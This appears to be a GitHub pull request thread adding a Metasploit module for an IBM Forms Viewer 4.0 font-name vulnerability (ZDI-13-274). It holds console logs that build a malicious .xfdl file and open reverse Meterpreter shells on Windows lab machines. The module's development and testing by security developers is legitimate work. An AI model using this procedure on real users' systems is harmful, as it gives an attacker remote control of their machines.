Add module for ZDI-13-274

[jvazquez-r7]

Tested against IBM Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.

Download IBM Forms Viewer 4.0 from: https://www14.software.ibm.com/webapp/iwm/web/reg/download.do?source=ESD-LOTUSFORMSTRIAL&S_PKG=CRD9QML&S_TACT=109HD0OW&S_CMP=web_dw_rt_swd&lang=en_US&cp=UTF-8

You will ned IBM login

Verification

• Install Windows XP SP3 or Windows 7 SP1
• Install IBM Forms Viewer 4.0. Verify which the masqform.exe binary version is 8.0.0.266
• Run the module like in the DEMO
• Open the file from the vulnerable environment with IBM Forms Viewer, you should enjoy sessions like in the demo

Demo

msf > use exploit/windows/fileformat/ibm_forms_viewer_fontname 
msf exploit(ibm_forms_viewer_fontname) > show options

Module options (exploit/windows/fileformat/ibm_forms_viewer_fontname):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.xfdl         yes       The file name.


Exploit target:

   Id  Name
   --  ----
   0   IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1


msf exploit(ibm_forms_viewer_fontname) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ibm_forms_viewer_fontname) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(ibm_forms_viewer_fontname) > set lport 4444
lport => 4444
msf exploit(ibm_forms_viewer_fontname) > rexploit
[*] Reloading module...

[*] Creating 'msf.xfdl' file ...
[+] msf.xfdl stored at /Users/juan/.msf4/local/msf.xfdl
msf exploit(ibm_forms_viewer_fontname) > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1810) at 2013-12-27 10:57:04 -0600

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.133
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.133:49195) at 2013-12-27 10:57:47 -0600

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 2 closed.  Reason: User exit

[wvu]

Looks like you used the wrong PR number, @jvazquez-r7. :P

[jvazquez-r7]

absolutely hehe, good catch @wvu-r7 , sorry about that!

[wvu]

Haha, it's okay. Testing this today!

[jvazquez-r7]

thanks @wvu-r7 ! Let me know if there is anything!

[wvu]

Windows 7 SP1:

msf > use exploit/windows/fileformat/ibm_forms_viewer_fontname 
msf exploit(ibm_forms_viewer_fontname) > exploit 

[*] Creating 'msf.xfdl' file ...
[+] msf.xfdl stored at /home/wvu/.msf4/local/msf.xfdl
msf exploit(ibm_forms_viewer_fontname) > use exploit/multi/handler 
msf exploit(handler) > exploit 

[*] Started reverse handler on 10.6.0.198:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.6.0.198
[*] Meterpreter session 1 opened (10.6.0.198:4444 -> 10.6.0.198:56356) at 2014-01-02 15:24:09 -0600

meterpreter > 

[wvu]

Windows XP SP3:

msf exploit(handler) > exploit 

[*] Started reverse handler on 10.6.0.198:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.6.0.198
[*] Meterpreter session 2 opened (10.6.0.198:4444 -> 10.6.0.198:34129) at 2014-01-02 15:33:43 -0600

meterpreter > 

[wvu]

Is this really the disclosure date? Thought it was 2013.

[jvazquez-r7]

Thanks @wvu-r7 ! you're the killer! fixing!

[wvu]

Has sense! Landing!